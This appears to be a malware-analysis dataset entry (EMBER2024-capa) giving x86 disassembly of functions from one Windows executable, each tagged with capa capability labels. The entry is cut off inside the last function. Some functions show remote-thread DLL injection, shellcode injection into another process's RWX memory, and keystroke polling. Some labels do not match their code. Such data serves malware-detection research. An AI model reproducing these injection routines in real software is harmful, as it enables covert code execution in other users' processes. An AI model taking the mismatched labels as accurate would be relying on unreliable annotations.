joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401200
Capabilities:
Create thread
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x457130
push 0x403000
mov eax, dword fs:[0]
push eax
add esp, 0xfffffbb0
mov eax, dword [0x45903c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x38], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401272
jmp 0x40137d
mov dword [ebp - 0x460], 0x428
push 0x424
push 0
lea ecx, [ebp - 0x45c]
push ecx
call fcn.00403260
add esp, 0xc
mov dword [ebp - 0x2c], 0
lea edx, [ebp - 0x460]
push edx
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.dll_Module32FirstW
mov dword [ebp - 0x34], eax
jmp 0x4012c1
lea ecx, [ebp - 0x460]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call sub.KERNEL32.dll_Module32NextW
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x4012fc
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4012f1
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4012fa
mov dword [ebp - 0x2c], 1
jmp 0x4012fc
jmp 0x4012ae
cmp dword [ebp - 0x2c], 0
jne 0x401304
jmp 0x40137d
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x40a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401320
jmp 0x40137d
push 0x44b280
push 0x44b28c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x401342
jmp 0x40137d
push 0
push 0
mov edx, dword [ebp - 0x44c]
push edx
mov eax, dword [ebp - 0x30]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40136a
jmp 0x40137d
push 0xffffffffffffffff
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.0040138b
jmp 0x4013bc
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x38]
xor ecx, ebp
call fcn.00403220
mov esp, ebp
pop ebp
ret 8
Function at 0x4014e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1398
call fcn.00403640
mov eax, dword [0x45903c]
xor eax, ebp
mov dword [ebp - 8], eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push str.c:hwlaunch.exe.log
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1398], eax
cmp dword [ebp - 0x1398], 0
jae 0x401528
jmp 0x4015db
push 2
push 0
push 0
mov eax, dword [ebp - 0x1398]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x1390]
push ecx
call fcn.004034e0
add esp, 0xc
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 0x1394]
push edx
lea eax, [ebp - 0x1390]
push eax
call fcn.004032e0
add esp, 4
push eax
lea ecx, [ebp - 0x1390]
push ecx
mov edx, dword [ebp - 0x1398]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x44b2c8
lea eax, [ebp - 0x1390]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0
lea ecx, [ebp - 0x1394]
push ecx
lea edx, [ebp - 0x1390]
push edx
call fcn.004032e0
add esp, 4
push eax
lea eax, [ebp - 0x1390]
push eax
mov ecx, dword [ebp - 0x1398]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x1398]
push edx
call dword [sym.imp.KERNEL32.dll__lclose]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00403220
mov esp, ebp
pop ebp
ret
Function at 0x403220
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45903c]
jne 0x40322a
repz ret
jmp fcn.00409ea0

Function at 0x4037a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
cmp dword [ebp + 8], 0
setne al
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4037d6
push str._path___NULL_
push 0
push 0x50
push str.access.c
push 2
call fcn.0040c090
add esp, 0x14
cmp eax, 1
jne 0x4037d6
int3
cmp dword [ebp - 8], 0
jne 0x403817
call fcn.0040bd40
mov dword [eax], 0
call fcn.0040bd10
mov dword [eax], 0x16
push 0
push 0x50
push str.access.c
push str._access_s
push str._path___NULL_
call fcn.0040b880
add esp, 0x14
mov eax, 0x16
jmp 0x4038ef
mov edx, dword [ebp + 0xc]
and edx, 0xfffffff9
neg edx
sbb edx, edx
add edx, 1
mov dword [ebp - 0xc], edx
jne 0x403847
push str.__amode___6____0_
push 0
push 0x51
push str.access.c
push 2
call fcn.0040c090
add esp, 0x14
cmp eax, 1
jne 0x403847
int3
cmp dword [ebp - 0xc], 0
jne 0x403885
call fcn.0040bd40
mov dword [eax], 0
call fcn.0040bd10
mov dword [eax], 0x16
push 0
push 0x51
push str.access.c
push str._access_s
push str.__amode___6____0_
call fcn.0040b880
add esp, 0x14
mov eax, 0x16
jmp 0x4038ef
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4038b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040bb00
add esp, 4
call fcn.0040bd10
mov eax, dword [eax]
jmp 0x4038ef
mov edx, dword [ebp - 4]
and edx, 0x10
je 0x4038bc
xor eax, eax
jmp 0x4038ef
mov eax, dword [ebp - 4]
and eax, 1
je 0x4038ed
mov ecx, dword [ebp + 0xc]
and ecx, 2
je 0x4038ed
call fcn.0040bd40
mov dword [eax], 5
call fcn.0040bd10
mov dword [eax], 0xd
call fcn.0040bd10
mov eax, dword [eax]
jmp 0x4038ef
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414300
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x45989c]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41433b
mov ecx, dword [0x45a60c]
push ecx
call fcn.00414220
add esp, 4
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
mov eax, dword [0x45989c]
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4474f0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x24], 0
mov ecx, 0x4476c0
sub ecx, 0x447690
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x1c]
add edx, 0x20f
mov dword [ebp - 4], edx
mov dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0
je 0x447563
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x22c]
push edx
call fcn.00403990
add esp, 0xc
push 0x40
push 0x101000
mov eax, dword [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x447588
jmp 0x44767d
cmp dword [ebp + 0x10], 0
jne 0x4475a2
mov edx, 0x4476b0
sub edx, 0x447690
mov eax, dword [ebp - 0x24]
lea ecx, [eax + edx*4]
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x4475c3
jmp 0x44767b
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x447690
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4475e7
jmp 0x447679
mov ecx, dword [ebp - 0x1c]
add ecx, 4
and ecx, 0xfffffffc
mov edx, dword [ebp - 0x24]
lea eax, [edx + ecx*4]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0xc]
push ecx
push 0x20c
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x44761d
jmp 0x447677
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0x10000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x447647
jmp 0x447675
cmp dword [ebp + 0x10], 0
je 0x447659
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], 1
cmp dword [ebp - 8], 0
je 0x447670
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
jmp 0x44767f
jmp 0x447660
jmp 0x447660
jmp 0x447660
jmp 0x447660
jmp 0x447660
mov esp, ebp
pop ebp
ret
Function at 0x447760
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x1c]
or al, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0x34], 0
jne 0x44777d
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp + 0x34], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x28]
push eax
mov ecx, dword [ebp + 0x24]
push ecx
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp + 0x34]
test eax, eax
jne 0x4477b0
xor eax, eax
jmp 0x447828
cmp dword [ebp + 0x30], 0
je 0x4477ca
mov eax, dword [ebp + 0x30]
push eax
call fcn.004032e0
add esp, 4
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x4477d1
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0x30]
push edx
call fcn.004476d0
push eax
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00447830
add esp, 0x14
test eax, eax
jne 0x4477f7
xor eax, eax
jmp 0x447828
cmp dword [ebp + 0x2c], 0
je 0x44780f
push 0x10
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x2c]
push eax
call fcn.00403990
add esp, 0xc
mov ecx, dword [ebp + 0x1c]
and ecx, 4
test ecx, ecx
jne 0x447823
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov esp, ebp
pop ebp
ret 0x30
Function at 0x407ee0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46453b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004592f8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x407f62
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00457247
mov eax, dword [eax]
push 0x5671c0
push eax
call fcn.0044a144
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00459583
test bl, bl
je 0x407f62
push 0x5671c0
lea ecx, [esp + 0xc]
call fcn.00459913
push 0x56ad24
lea ecx, [esp + 0xc]
call fcn.00459913
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x407f9e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00459583
jmp 0x408069
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408022
lea edx, [esp + 0x7c]
push 0x56ad20
push edx
call fcn.0044a144
add esp, 8
test eax, eax
je 0x408022
lea eax, [esp + 0x7c]
push 0x56ad1c
push eax
call fcn.0044a144
add esp, 8
test eax, eax
je 0x408022
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407fb2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00459583
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x408860
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4088c2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4088d0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4645bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5711c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x408a08
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x408936
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00459583
xor eax, eax
jmp 0x408a7f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004596c0
push esi
lea ecx, [esp + 0xc]
call fcn.0045994f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x408a5d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00408860
test eax, eax
jne 0x408a5d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00408860
test eax, eax
jne 0x408a5d
lea eax, [esp + 0x14]
push 0x56ad38
push eax
call fcn.0044b180
mov esi, eax
add esp, 8
test esi, esi
jne 0x408a3c
lea ecx, [esp + 0x14]
push 0x56ad34
push ecx
call fcn.0044b100
mov esi, eax
add esp, 8
test esi, esi
jne 0x408a3c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x408a3f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00459670
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40894e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00459583
xor eax, eax
jmp 0x408a7f
mov byte [esi], 0
push 0x56ad30
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00459583
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a730
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a79e
cmp si, 0x69
ja 0x41a79e
add esi, 0xffd0
cmp si, 0x11
je 0x41a76e
push 0x11
call edi
test ax, ax
jge 0x41a76e
or esi, 0x2000
cmp si, 0x10
je 0x41a783
push 0x10
call edi
test ax, ax
jge 0x41a783
or esi, 0x4000
cmp si, 0x12
je 0x41a798
push 0x12
call edi
test ax, ax
jge 0x41a798
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a7ab
mov esi, 0xbd
jmp 0x41a75f
cmp si, 0x6e
jne 0x41a7b8
mov esi, 0xbe
jmp 0x41a75f
cmp si, 0x6f
jne 0x41a759
mov esi, 0xbf
jmp 0x41a75f

Function at 0x41be50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x581808]
xor edx, edx
cmp eax, edx
jne 0x41be76
xor eax, eax
mov byte [eax + 0x581708], al
inc eax
cmp eax, 0x100
jl 0x41be5e
mov dword [0x581808], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x581708
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bf07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41beda
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bea8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bf80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bfd3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bfba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422a10
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x422ba8
cmp ebp, ebx
jle 0x422ba8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x422a6e
dec eax
or eax, 0xfffffff8
inc eax
je 0x422a75
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x422a84
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x422a8b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004592c4
add esp, 4
cmp eax, ebx
je 0x422aac
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004592c4
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x422b9e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x422b85
mov al, byte [edx]
cmp al, 0xc0
jbe 0x422b71
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x422b66
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x422b74
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x422b74
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422b10
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x422b01
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x425be0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x465c28
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x425c19
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00460c71
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00460cbd
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00425ca0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00460cfa
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x42a270
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4663b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.0042adf0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x42a319
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.00429f00
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.0045ff22
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.004397a0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
